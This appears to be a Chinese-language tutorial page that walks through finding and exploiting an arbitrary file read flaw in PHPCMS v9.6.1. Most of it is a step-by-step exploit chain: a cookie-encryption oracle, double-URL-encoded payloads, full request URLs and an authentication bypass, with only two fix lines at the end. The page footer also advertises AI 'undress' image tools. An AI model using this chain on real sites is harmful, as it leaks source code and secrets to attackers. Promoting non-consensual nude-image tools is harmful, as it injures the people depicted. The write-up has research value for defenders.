目录
1.准备工作&漏洞关键点快速扫描
1.1前置知识
1.2 快速扫描
1.2 content/down模块大致流程分析
1.2.1$fileurl变量构造分析
1.2.2$a_k变量分析
1.2.3小结
2.漏洞挖掘过程
2.1 init方法所接受的$a_k构造
2.1.1探索正常流程中的$a_k构造过程
2.1.2 黑科技构造$a_k
2.2 json和parse_str
2.3 构造符合init方法的$a_k
2.4绕过限制构造最终payload
2.4.1 urlencode编码“<>”
2.4.2最终payload
2.5绕过attachment模块权限限制完成无限制利用
3.EXP编写
4.修复方案
首页 CMS教程 PHPCMS 讲解PHPCMSv9.6.1任意文件读取漏洞的挖掘和分析过程

讲解PHPCMSv9.6.1任意文件读取漏洞的挖掘和分析过程

Dec 15, 2020 pm 05:24 PM
php web安全 漏洞 网络安全

<h2> <a href="//m.sbmmt.com/cms/phpcms/" target="_blank">PHPCMS使用教程</a>介绍PHPCMSv9.6.1任意文件读取漏洞的挖掘<br> </h2> <p><img src="/static/imghw/default1.png" data-src="https://img.php.cn/upload/article/000/000/052/5fd8807224734604.jpg" class="lazy" alt="讲解PHPCMSv9.6.1任意文件读取漏洞的挖掘和分析过程" ></p> <p>推荐(免费):<a href="//m.sbmmt.com/cms/phpcms/" target="_blank">PHPCMS使用教程</a></p> <p>看到网上说出了这么一个漏洞,所以抽空分析了下,得出本篇分析。</p> <h2 id="准备工作-amp-漏洞关键点快速扫描">1.准备工作&漏洞关键点快速扫描</h2> <h3 id="前置知识">1.1前置知识</h3> <p>这里把本次分析中需要掌握的知识梳理了下:</p> <ol> <li><p>php原生parse_str方法,会自动进行一次urldecode,第二个参数为空,则执行类似extract操作。</p></li> <li><p>原生empty方法,对字符串""返回true。</p></li> <li><p>phpcms中sys_auth是对称加密且在不知道auth_key的情况下理论上不可能构造出有效密文。</p></li> </ol> <h3 id="快速扫描">1.2 快速扫描</h3> <p>先diff下v9.6.0和v9.6.1,发现phpcms/modules/content/down.php中有如下修改:</p> <pre class="brush:php;toolbar:false">--- a/phpcms/modules/content/down.php +++ b/phpcms/modules/content/down.php @@ -14,12 +14,16 @@ class down {                 $a_k = sys_auth($a_k, 'DECODE', pc_base::load_config('system','auth_key'));                 if(empty($a_k)) showmessage(L('illegal_parameters'));                 unset($i,$m,$f); +               $a_k = safe_replace($a_k);^M                 parse_str($a_k);                 if(isset($i)) $i = $id = intval($i);                 if(!isset($m)) showmessage(L('illegal_parameters'));                 if(!isset($modelid)||!isset($catid)) showmessage(L('illegal_parameters'));                 if(empty($f)) showmessage(L('url_invalid'));                 $allow_visitor = 1; +               $id = intval($id);^M +               $modelid  = intval($modelid);^M +               $catid  = intval($catid);^M                 $MODEL = getcache('model','commons');                 $tablename = $this->db->table_name = $this->db->db_tablepre.$MODEL[$modelid]['tablename'];                 $this->db->table_name = $tablename.'_data'; @@ -86,6 +90,7 @@ class down {                 $a_k = sys_auth($a_k, 'DECODE', $pc_auth_key);                 if(empty($a_k)) showmessage(L('illegal_parameters'));                 unset($i,$m,$f,$t,$ip); +               $a_k = safe_replace($a_k);^M                 parse_str($a_k);                                 if(isset($i)) $downid = intval($i);                 if(!isset($m)) showmessage(L('illegal_parameters')); @@ -118,6 +123,7 @@ class down {                                 }                                 $ext = fileext($filename);                                 $filename = date('Ymd_his').random(3).'.'.$ext; +                               $fileurl = str_replace(array('<&#39;,&#39;>'), '',$fileurl);^M                                 file_down($fileurl, $filename);                         }                 }</pre> <p>主要修改了两个方法<code>init()</code>和<code>download()</code>,大胆的猜想估计是这两个函数出问题了。</p> <pre class="brush:php;toolbar:false">public function init() {         $a_k = trim($_GET['a_k']);         if(!isset($a_k)) showmessage(L('illegal_parameters'));         $a_k = sys_auth($a_k, 'DECODE', pc_base::load_config('system','auth_key'));//关键点1         if(empty($a_k)) showmessage(L('illegal_parameters'));         unset($i,$m,$f);         $a_k = safe_replace($a_k);//关键点2         parse_str($a_k);//关键点3         if(isset($i)) $i = $id = intval($i);         if(!isset($m)) showmessage(L('illegal_parameters'));         if(!isset($modelid)||!isset($catid)) showmessage(L('illegal_parameters'));         if(empty($f)) showmessage(L('url_invalid'));         $allow_visitor = 1;         $id = intval($id);         $modelid  = intval($modelid);         $catid  = intval($catid);   ......     if(preg_match('/(php|phtml|php3|php4|jsp|dll|asp|cer|asa|shtml|shtm|aspx|asax|cgi|fcgi|pl)(\.|$)/i',$f) || strpos($f, ":\\")!==FALSE || strpos($f,'..')!==FALSE) showmessage(L('url_error'));//关键点4         if(strpos($f, 'http://') !== FALSE || strpos($f, 'ftp://') !== FALSE || strpos($f, '://') === FALSE) {             $pc_auth_key = md5(pc_base::load_config('system','auth_key').$_SERVER['HTTP_USER_AGENT'].'down');             $a_k = urlencode(sys_auth("i=$i&d=$d&s=$s&t=".SYS_TIME."&ip=".ip()."&m=".$m."&f=$f&modelid=".$modelid, 'ENCODE', $pc_auth_key));//关键点5             $downurl = '?m=content&c=down&a=download&a_k='.$a_k;         } else {             $downurl = $f;                     } }</pre> <pre class="brush:php;toolbar:false">    public function download() {         $a_k = trim($_GET['a_k']);         $pc_auth_key = md5(pc_base::load_config('system','auth_key').$_SERVER['HTTP_USER_AGENT'].'down');//关键点6         $a_k = sys_auth($a_k, 'DECODE', $pc_auth_key);         if(empty($a_k)) showmessage(L('illegal_parameters'));         unset($i,$m,$f,$t,$ip);         $a_k = safe_replace($a_k);//关键点7         parse_str($a_k);//关键点8         if(isset($i)) $downid = intval($i);         if(!isset($m)) showmessage(L('illegal_parameters'));         if(!isset($modelid)) showmessage(L('illegal_parameters'));         if(empty($f)) showmessage(L('url_invalid'));         if(!$i || $m<0) showmessage(L(&#39;illegal_parameters&#39;)); if(!isset($t)) showmessage(L(&#39;illegal_parameters&#39;)); if(!isset($ip)) showmessage(L(&#39;illegal_parameters&#39;)); $starttime = intval($t); if(preg_match(&#39;/(php|phtml|php3|php4|jsp|dll|asp|cer|asa|shtml|shtm|aspx|asax|cgi|fcgi|pl)(\.|$)/i&#39;,$f) || strpos($f, ":\\")!==FALSE || strpos($f,&#39;..&#39;)!==FALSE) showmessage(L(&#39;url_error&#39;));//关键点9 $fileurl = trim($f); if(!$downid || empty($fileurl) || !preg_match("/[0-9]{10}/", $starttime) || !preg_match("/[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}/", $ip) || $ip != ip()) showmessage(L(&#39;illegal_parameters&#39;)); $endtime = SYS_TIME - $starttime; if($endtime > 3600) showmessage(L('url_invalid'));         if($m) $fileurl = trim($s).trim($fileurl);//关键点10         if(preg_match('/(php|phtml|php3|php4|jsp|dll|asp|cer|asa|shtml|shtm|aspx|asax|cgi|fcgi|pl)(\.|$)/i',$fileurl) ) showmessage(L('url_error'));//关键点11         //远程文件         if(strpos($fileurl, ':/') && (strpos($fileurl, pc_base::load_config('system','upload_url')) === false)) { //关键点12             header("Location: $fileurl");         } else {             if($d == 0) {                 header("Location: ".$fileurl);//关键点13             } else {                 $fileurl = str_replace(array(pc_base::load_config('system','upload_url'),'/'), array(pc_base::load_config('system','upload_path'),DIRECTORY_SEPARATOR), $fileurl);                 $filename = basename($fileurl);//关键点14                 //处理中文文件                 if(preg_match("/^([\s\S]*?)([\x81-\xfe][\x40-\xfe])([\s\S]*?)/", $fileurl)) {                     $filename = str_replace(array("%5C", "%2F", "%3A"), array("\\", "/", ":"), urlencode($fileurl));                     $filename = urldecode(basename($filename));//关键点15                 }                 $ext = fileext($filename);//关键点16                 $filename = date('Ymd_his').random(3).'.'.$ext;                 $fileurl = str_replace(array('<&#39;,&#39;>'), '',$fileurl);//关键点17                 file_down($fileurl, $filename);//关键点18             }         }     }</pre> <p>safe_replace函数如下</p> <pre class="brush:php;toolbar:false">function safe_replace($string) {     $string = str_replace('%20','',$string);     $string = str_replace('%27','',$string);     $string = str_replace('%2527','',$string);     $string = str_replace('*','',$string);     $string = str_replace('"','&quot;',$string);     $string = str_replace("'",'',$string);     $string = str_replace('"','',$string);     $string = str_replace(';','',$string);     $string = str_replace('<&#39;,&#39;&lt;&#39;,$string); $string = str_replace(&#39;>','&gt;',$string);     $string = str_replace("{",'',$string);     $string = str_replace('}','',$string);     $string = str_replace('\\','',$string);     return $string; }</pre> <h4 id="content-down模块大致流程分析">1.2 content/down模块大致流程分析</h4> <ol><li><p>init方法中根据原始的$a_k(包含了file_down的文件的基本信息),进行一次验证,并且生成,调用</p></li></ol> <p>download方法的url,url的schema为<code>$downurl='?m=content&c=down&a=download&a_k='.$a_k</code>(必须符合一定条件。)</p> <ol><li><p>download方法接收到$a_k,进行解码,解出文件信息,调用<code>file_down($fileurl, $filename)</code>( 必须符合一定条件)</p></li></ol> <p>我们来看下file_down函数,第一个参数$filepath,才是实际控制readfile的文件名的变量,readfile可以读取本地文件,所以我们构造符合条件的$fileurl绕过上述的限制就可以完成本地文件的读取功能!</p> <pre class="brush:php;toolbar:false">function file_down($filepath, $filename = '') {     if(!$filename) $filename = basename($filepath);     if(is_ie()) $filename = rawurlencode($filename);     $filetype = fileext($filename);     $filesize = sprintf("%u", filesize($filepath));     if(ob_get_length() !== false) @ob_end_clean();     header('Pragma: public');     header('Last-Modified: '.gmdate('D, d M Y H:i:s') . ' GMT');     header('Cache-Control: no-store, no-cache, must-revalidate');     header('Cache-Control: pre-check=0, post-check=0, max-age=0');     header('Content-Transfer-Encoding: binary');     header('Content-Encoding: none');     header('Content-type: '.$filetype);     header('Content-Disposition: attachment; filename="'.$filename.'"');     header('Content-length: '.$filesize);     readfile($filepath);     exit; }</pre> <h4 id="fileurl变量构造分析">1.2.1$fileurl变量构造分析</h4> <p>如果我们要读取站点的.php结尾文件,由于有关键点11存在,$fileurl中不能出现php,不过从关键点17可以看到进行了替换</p> <pre class="brush:php;toolbar:false">$fileurl = str_replace(array('<&#39;,&#39;>'), '',$fileurl);//关键点17</pre> <p>那么可以想到我们构造出符合<code>.ph([<>]+)p</code>的文件后缀,最后会被替换成.php。而且这句话是9.6.1新增的,更加确定了,这个漏洞是9.6.1特有的。</p> <p>再向上上看</p> <pre class="brush:php;toolbar:false">if($m) $fileurl = trim($s).trim($fileurl);//关键点10</pre> <p>变量$m为真,那么我们可以通过引入变量$s来构造$fileurl,且$fileurl由变量$f控制。</p> <pre class="brush:php;toolbar:false">$fileurl = trim($f);</pre> <pre class="brush:php;toolbar:false">$a_k = safe_replace($a_k);//关键点7 parse_str($a_k);//关键点8</pre> <p>通过parse_str来extract变量,很容易的得出控制$i,$m,$f,$t,$s,$d,$modelid变量,看到这里我们可以构造$a_k来控制这些变量。</p> <h4 id="a-k变量分析">1.2.2$a_k变量分析</h4> <p>再向上看</p> <pre class="brush:php;toolbar:false">$pc_auth_key = md5(pc_base::load_config('system','auth_key').$_SERVER['HTTP_USER_AGENT'].'down');//关键点6         $a_k = sys_auth($a_k, 'DECODE', $pc_auth_key);</pre> <p>这个关键点6很重要,因为这里的$pc_auth_key几乎是不可能暴力出来的,然而得到这个加密的$a_k只有在init()方法中使用了相同的$pc_auth_key。所以我们只能通过init()方法来构造$a_k。</p> <p>我们现在来看下init方法</p> <pre class="brush:php;toolbar:false">        $a_k = trim($_GET['a_k']);         if(!isset($a_k)) showmessage(L('illegal_parameters'));         $a_k = sys_auth($a_k, 'DECODE', pc_base::load_config('system','auth_key'));//关键点1</pre> <p>这里可以发现sys_auth的auth竟然是使用系统默认的auth_key,直觉告诉我可能问题出在这里了,除了这个区别,init方法别的逻辑就不再赘述。</p> <h4 id="小结">1.2.3小结</h4> <p>总结一下:</p> <p>index.php?m=content&c=down&a=init&a_k=想办法构造出符合条件的。</p> <p>然后init方法会构造出符合download方法中能够解密的$a_k。</p> <p>通过对$a_k进行控制,间接控制$i,$f,$m,$s,$d等变量完成漏洞的利用。</p> <h2 id="漏洞挖掘过程">2.漏洞挖掘过程</h2> <h3 id="init方法所接受的-a-k构造">2.1 init方法所接受的$a_k构造</h3> <h4 id="探索正常流程中的-a-k构造过程">2.1.1探索正常流程中的$a_k构造过程</h4> <p>对源码进行快速扫描,看看哪些地方能够生产对init方法的调用,其实就是常规的下载模型的逻辑。</p> <p>phpcms/modules/content/fields/downfile和phpcms/modules/content/fields/downfiles中会生成init方法的$a_k</p> <pre class="brush:php;toolbar:false">    function downfile($field, $value) {         extract(string2array($this->fields[$field]['setting']));         $list_str = array();         if($value){             $value_arr = explode('|',$value);             $fileurl = $value_arr['0'];             if($fileurl) {                 $sel_server = $value_arr['1'] ? explode(',',$value_arr['1']) : '';                 $server_list = getcache('downservers','commons');                 if(is_array($server_list)) {                     foreach($server_list as $_k=>$_v) {                         if($value && is_array($sel_server) && in_array($_k,$sel_server)) {                             $downloadurl = $_v[siteurl].$fileurl;                             if($downloadlink) {                                 $a_k = urlencode(sys_auth("i=$this->id&s=$_v[siteurl]&m=1&f=$fileurl&d=$downloadtype&modelid=$this->modelid&catid=$this->catid", 'ENCODE', pc_base::load_config('system','auth_key')));                                 $list_str[] = "<a href=&#39;".APP_PATH."index.php?m=content&c=down&a_k={$a_k}&#39; target=&#39;_blank&#39;>{$_v[sitename]}</a>";                             } else {                                 $list_str[] = "<a href=&#39;{$downloadurl}&#39; target=&#39;_blank&#39;>{$_v[sitename]}</a>";                             }                         }                     }                 }                     return $list_str;             }         }      }</pre> <p>但是分析发现,content_input和content_output逻辑中权限验证和限制逻辑比较完善,基本不存在利用可能。</p> <h4 id="黑科技构造-a-k">2.1.2 黑科技构造$a_k</h4> <p>由于是sys_auth是对称加密,那么能不能找个使用相同密钥生成的地方来生成,对sys_auth进行全文搜索,我们找找有没有符合下列条件的上下文</p> <ol> <li><p>方式是ENCODE</p></li> <li><p>Auth_key是系统默认的即:pc_base::load_config('system','auth_key')</p></li> <li><p>且待加密内容是可控的(可以是我们$_REQUEST的数据,或者可以构造的)</p></li> <li><p>加密后的数据有回显的。</p></li> </ol> <p>共找到58个匹配项,但是没有符合上下文的,不过我们可以注意到</p> <pre class="brush:php;toolbar:false">public static function set_cookie($var, $value = '', $time = 0) {         $time = $time > 0 ? $time : ($value == '' ? SYS_TIME - 3600 : 0);         $s = $_SERVER['SERVER_PORT'] == '443' ? 1 : 0;         $var = pc_base::load_config('system','cookie_pre').$var;         $_COOKIE[$var] = $value;         if (is_array($value)) {             foreach($value as $k=>$v) {                 setcookie($var.'['.$k.']', sys_auth($v, 'ENCODE'), $time, pc_base::load_config('system','cookie_path'), pc_base::load_config('system','cookie_domain'), $s);             }         } else {             setcookie($var, sys_auth($value, 'ENCODE'), $time, pc_base::load_config('system','cookie_path'), pc_base::load_config('system','cookie_domain'), $s);         }     }     public static function get_cookie($var, $default = '') {         $var = pc_base::load_config('system','cookie_pre').$var;         return isset($_COOKIE[$var]) ? sys_auth($_COOKIE[$var], 'DECODE') : $default;     }</pre> <p>param::set_cookie param::get_cookie 对cookie加密是使用默认的auth_key的。</p> <p>马上对set_cookie进行全文搜索,并且查找符合下列条件的上下文。</p> <ol> <li><p>set_cookie的内容是可控的。</p></li> <li><p>set_cookie的触发条件尽可能的限制小。</p></li> </ol> <p>一共找到122个匹配项,找到了两个比较好的触发点。</p> <p>phpcms/moduels/attachment/attachments.php中的swfupload_json/swfupload_del方法和phpcms/modules/video/video.php中的swfupload_json/del方法</p> <p>video模块需要管理员权限,就不考虑了,attachment模块只要是注册用户即可调用。</p> <p>我们来看下swfupload_json</p> <pre class="brush:php;toolbar:false">    public function swfupload_json() {         $arr['aid'] = intval($_GET['aid']);         $arr['src'] = safe_replace(trim($_GET['src']));         $arr['filename'] = urlencode(safe_replace($_GET['filename']));         $json_str = json_encode($arr);         $att_arr_exist = param::get_cookie('att_json');         $att_arr_exist_tmp = explode('||', $att_arr_exist);         if(is_array($att_arr_exist_tmp) && in_array($json_str, $att_arr_exist_tmp)) {             return true;         } else {             $json_str = $att_arr_exist ? $att_arr_exist.'||'.$json_str : $json_str;             param::set_cookie('att_json',$json_str);             return true;                     }     }</pre> <p>我们可以通过src和filename来构造,最终我选的是src,最终形式会是一个json串,当然有多个会以"||"分割。</p> <p>我们注册个用户登录之后,调用</p> <pre class="brush:php;toolbar:false">index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=fobnn</pre> <p>产生的数据会是</p> <pre class="brush:php;toolbar:false">{"aid":888,"src":"fobnn","filename":""}</pre> <p>然后我们得到response.header中的set-cookie ["att_json"]。</p> <pre class="brush:php;toolbar:false">1a66LXDASYtpYw9EH6xoXQTpeTKxX6z0L0kRQ7_lX9bekmdtq1XCYmMMso3m9vDf5eS6xY3RjvuLaHkK15rH-CJz</pre> <p>我们修改下down.php->init方法,把DECODE之后的$a_k输出来。</p> <p>然后我们调用</p> <pre class="brush:php;toolbar:false">index.php?m=content&c=down&a=init &a_k=1a66LXDASYtpYw9EH6xoXQTpeTKxX6z0L0kRQ7_lX9bekmdtq1XCYmMMso3m9vDf5eS6xY3RjvuLaHkK15rH-CJz</pre> <p>激动人心,init方法成功DECODE了$a_k</p> <p>好了目前验证了我们的想法可行,接下来应该构造可用的payload了。</p> <h3 id="json和parse-str">2.2 json和parse_str</h3> <p>目前要解决的就是 从json中parse_str并且能够解析出$i,$m,$f等变量。</p> <pre class="brush:php;toolbar:false">{"aid":888,"src":"fobnn=q&p1=12312","filename":""}</pre> <p>解析{"aid":888,"src":"fobnn=q 和p1=12312","filename":""}</p> <p>说明parse_str还是解析还是可以实现的,前后闭合一下,中间填充我们需要的变量即可,例如</p> <pre class="brush:php;toolbar:false">{"aid":888,"src":"pad=x&fobnn=q&p1=12312&pade=","filename":""}</pre> <p>那么fobnn和p1就是正常解析的,src需要URLENCODE提交,这样不会导致php解析错误。</p> <h3 id="构造符合init方法的-a-k">2.3 构造符合init方法的$a_k</h3> <p>我们先构造一个符合init方法的$a_k使得能完成正常的流程。</p> <pre class="brush:php;toolbar:false">        if(isset($i)) $i = $id = intval($i);         if(!isset($m)) showmessage(L('illegal_parameters'));         if(!isset($modelid)||!isset($catid)) showmessage(L('illegal_parameters'));         if(empty($f)) showmessage(L('url_invalid'));         $allow_visitor = 1;         $id = intval($id);         $modelid  = intval($modelid);         $catid  = intval($catid);</pre> <p>构造pad=x&i=1&modelid=1&m=1&catid=1&f=fobnn&pade=用来满足条件。</p> <pre class="brush:php;toolbar:false">index.php?m=attachment&c=attachments&a=swfupload_json&aid=1  src=pad%3dx%26i%3d1%26modelid%3d1%26m%3d1%26catid%3d1%26f%3dfobnn%26pade%3d</pre> <p>得到</p> <pre class="brush:php;toolbar:false">3d3fR3g157HoC3wGNEqOLyxVCtvXf95VboTXfCLzq4bBx7j0lHB7c6URWBYzG8alWDrqP4mZb761B1_zsod-adgB2jKS4UVDbknVgyfP8C8VP-EMqKONVbY6aNH4ffWuuYbrufucsVsmJQ {"aid":1,"src":"pad=x&i=1&modelid=1&m=1&catid=1&f=fobnn&pade=","filename":""}</pre> <p>然后提交</p> <pre class="brush:php;toolbar:false">index.php?m=content&c=down&a=init &a_k=3d3fR3g157HoC3wGNEqOLyxVCtvXf95VboTXfCLzq4bBx7j0lHB7c6URWBYzG8alWDrqP4mZb761B1_zsod-adgB2jKS4UVDbknVgyfP8C8VP-EMqKONVbY6aNH4ffWuuYbrufucsVsmJQ</pre> <p>成功!页面已经生成了调用download方法的url</p> <pre class="brush:php;toolbar:false"></head> <body>     <style type="text/css">          body, html{ background:#FFF!important;}     </style>         <a href="?m=content&c=down&a=download&a_k=a602eCW5tkuTZTtvLeYrcU0kSTKdCLFcNAQ06GE74c9zc6NMUaHAss9zwCa-glxRmBtylSbtrxMNTxy5knsFrZIeC_iCRmj3pTSuQxTHxps3qs4U6pKLIz4y3A" class="xzs_btn"></a>     </body> </html></pre> <h3 id="绕过限制构造最终payload">2.4绕过限制构造最终payload</h3> <p>目前正常流程已经走通,把目光集中在如何构造出符合的$fileurl,来看下init方法中</p> <pre class="brush:php;toolbar:false">if(preg_match('/(php|phtml|php3|php4|jsp|dll|asp|cer|asa|shtml|shtm|aspx|asax|cgi|fcgi|pl)(\.|$)/i',$f) || strpos($f, ":\\")!==FALSE || strpos($f,'..')!==FALSE) showmessage(L('url_error')); if(strpos($f, 'http://') !== FALSE || strpos($f, 'ftp://') !== FALSE || strpos($f, '://') === FALSE) {     $pc_auth_key = md5(pc_base::load_config('system','auth_key').$_SERVER['HTTP_USER_AGENT'].'down');     $a_k = urlencode(sys_auth("i=$i&d=$d&s=$s&t=".SYS_TIME."&ip=".ip()."&m=".$m."&f=$f&modelid=".$modelid, 'ENCODE', $pc_auth_key));     $downurl = '?m=content&c=down&a=download&a_k='.$a_k;     } else {         $downurl = $f;                 }</pre> <p>对f的限制还是蛮多的,包括常规黑名单检测php,asp等。也不能出现"..",":\"</p> <p>还好我们看到download函数中</p> <pre class="brush:php;toolbar:false">if($m) $fileurl = trim($s).trim($fileurl);//关键点10</pre> <p>我们可以通过控制$m就可以通过$s来构造了,而$m和$s参与了$a_k的构造。</p> <p>在init方法中我们可以构造 m=1&s=.php&f=index 类似的来绕过init方法的检测,我们把目光聚焦到download方法。</p> <pre class="brush:php;toolbar:false">//常规检测代码就不贴了,$i,$t,$m,$modelid,$t,$ip的检测。 if(preg_match('/(php|phtml|php3|php4|jsp|dll|asp|cer|asa|shtml|shtm|aspx|asax|cgi|fcgi|pl)(\.|$)/i',$f) || strpos($f, ":\\")!==FALSE || strpos($f,'..')!==FALSE) showmessage(L('url_error'));     $fileurl = trim($f);</pre> <p>通过这样的构造上面这个检测肯定可以绕过,但发现下面检测就会出问题,最后$fileurl还是会变成index.php</p> <pre class="brush:php;toolbar:false">if($m) $fileurl = trim($s).trim($fileurl); if(preg_match('/(php|phtml|php3|php4|jsp|dll|asp|cer|asa|shtml|shtm|aspx|asax|cgi|fcgi|pl)(\.|$)/i',$fileurl) ) showmessage(L('url_error'));         //远程文件</pre> <p>好在快速扫描中看到的</p> <pre class="brush:php;toolbar:false">$fileurl = str_replace(array('<&#39;,&#39;>'), '',$fileurl);//关键点17</pre> <p>另外又看到</p> <pre class="brush:php;toolbar:false">if($d == 0) {     header("Location: ".$fileurl);</pre> <h4 id="urlencode编码-lt-gt">2.4.1 urlencode编码“<>”</h4> <p>那么构造出 d=1&m=1&f=.p<hp&s=index 这样的payload就可以绕过检测,实现漏洞利用,当然期间涉及一些编码转换就不再赘述了。</p><p>最终pad=x&i=1&modelid=1&catid=1&d=1&m=1&f=.p<hp&s=index&pade=</p><p>由于safe_replce的存在所以<code><</code>会被过滤掉,前置知识中我已经说到parse_str会自动encode一次。</p><p>所以可以构造</p><p>d=1&m=1&f=.p%3chp&s=index</p><p>我们发现在init方法中会safe_replace一次,和parse_str一次。</p><p>那么最终编码到download $a_k中的数据实际还是<,而download方法中也会safe_replace和parse_str一次。</p><p>所以我们要确保在init方法编码的时候是%3c即可,对%3c进行一次urlencode,构造</p><p>d=1&m=1&f=.p%253chp&s=index</p><p>当然要读取别的目录的,那同样对目录路径进行编码。</p><h3 id="最终payload">2.4.2最终payload</h3><p>以读取首页index.php为例</p><pre class="brush:php;toolbar:false">pad=x&i=1&modelid=1&catid=1&d=1&m=1&f=.p%253chp&s=index&pade= index.php?m=attachment&c=attachments&a=swfupload_json&aid=1 &src=pad%3dx%26i%3d1%26modelid%3d1%26catid%3d1%26d%3d1%26m%3d1%26f%3d.p%25253chp%26s%3dindex%26pade%3d</pre><pre class="brush:php;toolbar:false">8862Fewa0VoDAmDaEWXtUnQ817naJmAG9DYlUPmB8QpBl8Fi91_XvW8ngzKBGBJkxn8Ms-sHcBkGNtosnd_ZjshNlyQvOrC2ZFMSPubno6rDiuALAVAcchHVRGTtNRYMAiwMTIJ4OVMmgPwjbu1I0FLmurCLMFAWeyQ {"aid":1,"src":"pad=x&i=1&modelid=1&catid=1&d=1&m=1&f=.p%253chp&s=index&pade=","filename":""}</pre><pre class="brush:php;toolbar:false">index.php?m=content&c=down&a=init&a_k=8862Fewa0VoDAmDaEWXtUnQ817naJmAG9DYlUPmB8QpBl8Fi91_XvW8ngzKBGBJkxn8Ms-sHcBkGNtosnd_ZjshNlyQvOrC2ZFMSPubno6rDiuALAVAcchHVRGTtNRYMAiwMTIJ4OVMmgPwjbu1I0FLmurCLMFAWeyQ</pre><pre class="brush:php;toolbar:false">index.php?m=content&c=down&a=download&a_k=e5586zx1k-uH8PRhk2ZfPApV5cxalMnAJy46MpO8iy7DgyxWqwZHqFVpQJTxDmmUJxrF0gx_WRIv-iSKq2Z8YEWc-LRXIrr9EgT-pAEJtGGBUcVCOoI3WlMdxajPdFuIqpsY</pre><p>最终提示下载文件,文件下载成功,打开来看确实是index.php内容。</p><h3 id="绕过attachment模块权限限制完成无限制利用">2.5绕过attachment模块权限限制完成无限制利用</h3><pre class="brush:php;toolbar:false">class attachments { private $att_db; function __construct() { pc_base::load_app_func(&#39;global&#39;); $this->upload_url = pc_base::load_config('system','upload_url');         $this->upload_path = pc_base::load_config('system','upload_path');                 $this->imgext = array('jpg','gif','png','bmp','jpeg');         $this->userid = $_SESSION['userid'] ? $_SESSION['userid'] : (param::get_cookie('_userid') ? param::get_cookie('_userid') : sys_auth($_POST['userid_flash'],'DECODE'));         $this->isadmin = $this->admin_username = $_SESSION['roleid'] ? 1 : 0;         $this->groupid = param::get_cookie('_groupid') ? param::get_cookie('_groupid') : 8;         //判断是否登录         if(empty($this->userid)){             showmessage(L('please_login','','member'));         }     }</p> <p>可以发现</p> <pre class="brush:php;toolbar:false">sys_auth($_POST['userid_flash'],'DECODE')</pre> <p>可控制$this->userid且没有复杂的权限校验,而且又是默认AUTH_KEY加密的。</p> <p>全文找下无限制可以set_cookie的,发现WAP模块可以利用</p> <pre class="brush:php;toolbar:false">pc_base::load_sys_class('format', '', 0); class index {     function __construct() {                 $this->db = pc_base::load_model('content_model');         $this->siteid = isset($_GET['siteid']) && (intval($_GET['siteid']) > 0) ? intval(trim($_GET['siteid'])) : (param::get_cookie('siteid') ? param::get_cookie('siteid') : 1);         param::set_cookie('siteid',$this->siteid);             $this->wap_site = getcache('wap_site','wap');         $this->types = getcache('wap_type','wap');         $this->wap = $this->wap_site[$this->siteid];         define('WAP_SITEURL', $this->wap['domain'] ? $this->wap['domain'].'index.php?' : APP_PATH.'index.php?m=wap&siteid='.$this->siteid);         if($this->wap['status']!=1) exit(L('wap_close_status'));     }</pre> <p>没有任何条件限制我们可以$_GET['siteid']来控制param::set_cookie('siteid',$this->siteid),且默认都有WAP模块的文件,但不需要开启。</p> <h2 id="EXP编写">3.EXP编写</h2> <p>流程如下:</p> <ol> <li><p>index.php?m=wap&c=index&siteid=1 获取名称为siteid的cookie。</p></li> <li> <p>访问index.php?m=attachment&c=attachments&a=swfupload_json&aid=1</p> <pre class="brush:php;toolbar:false">&src=想要读取文件的payload,并且访问的时候设置post字段userid_flash为步骤一获取的cookie.</pre> </li> </ol> <p>响应成功之后,获取名称为att_json的cookie</p> <ol><li><p>访问index.php?m=content&c=down&a=init&a_k=获取到的att_json,来构造最终漏洞利用路径,</p></li></ol> <p>可以直接截取生成的$a_k</p> <ol><li><p>访问index.php?m=content&c=download&a=init&a_k=截取的$a_k.完成利用。</p></li></ol> <h2 id="修复方案">4.修复方案</h2> <p>init方法中的$a_k 加解密sys_auth不要采用默认密钥。</p> <p>file_down之前对$fileurl再做一次过滤。</p>

以上是讲解PHPCMSv9.6.1任意文件读取漏洞的挖掘和分析过程的详细内容。更多信息请关注PHP中文网其他相关文章!

本站声明
本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系admin@php.cn

热AI工具

Undress AI Tool

Undress AI Tool

免费脱衣服图片

Undresser.AI Undress

Undresser.AI Undress

人工智能驱动的应用程序,用于创建逼真的裸体照片

AI Clothes Remover

AI Clothes Remover

用于从照片中去除衣服的在线人工智能工具。

Clothoff.io

Clothoff.io

AI脱衣机

Video Face Swap

Video Face Swap

使用我们完全免费的人工智能换脸工具轻松在任何视频中换脸!

热工具

记事本++7.3.1

记事本++7.3.1

好用且免费的代码编辑器

SublimeText3汉化版

SublimeText3汉化版

中文版,非常好用

禅工作室 13.0.1

禅工作室 13.0.1

功能强大的PHP集成开发环境

Dreamweaver CS6

Dreamweaver CS6

视觉化网页开发工具

SublimeText3 Mac版

SublimeText3 Mac版

神级代码编辑软件(SublimeText3)

热门话题

Laravel 教程
1602
29
PHP教程
1505
276
如何用PHP搭建社交分享功能 PHP分享接口集成实战 如何用PHP搭建社交分享功能 PHP分享接口集成实战 Jul 25, 2025 pm 08:51 PM

在PHP中搭建社交分享功能的核心方法是通过动态生成符合各平台要求的分享链接。1.首先获取当前页面或指定的URL及文章信息;2.使用urlencode对参数进行编码;3.根据各平台协议拼接生成分享链接;4.在前端展示链接供用户点击分享;5.动态生成页面OG标签优化分享内容展示;6.务必对用户输入进行转义以防止XSS攻击。该方法无需复杂认证,维护成本低,适用于大多数内容分享需求。

PHP调用AI智能语音助手 PHP语音交互系统搭建 PHP调用AI智能语音助手 PHP语音交互系统搭建 Jul 25, 2025 pm 08:45 PM

用户语音输入通过前端JavaScript的MediaRecorderAPI捕获并发送至PHP后端;2.PHP将音频保存为临时文件后调用STTAPI(如Google或百度语音识别)转换为文本;3.PHP将文本发送至AI服务(如OpenAIGPT)获取智能回复;4.PHP再调用TTSAPI(如百度或Google语音合成)将回复转为语音文件;5.PHP将语音文件流式返回前端播放,完成交互。整个流程由PHP主导数据流转与错误处理,确保各环节无缝衔接。

如何用PHP结合AI实现文本纠错 PHP语法检测与优化 如何用PHP结合AI实现文本纠错 PHP语法检测与优化 Jul 25, 2025 pm 08:57 PM

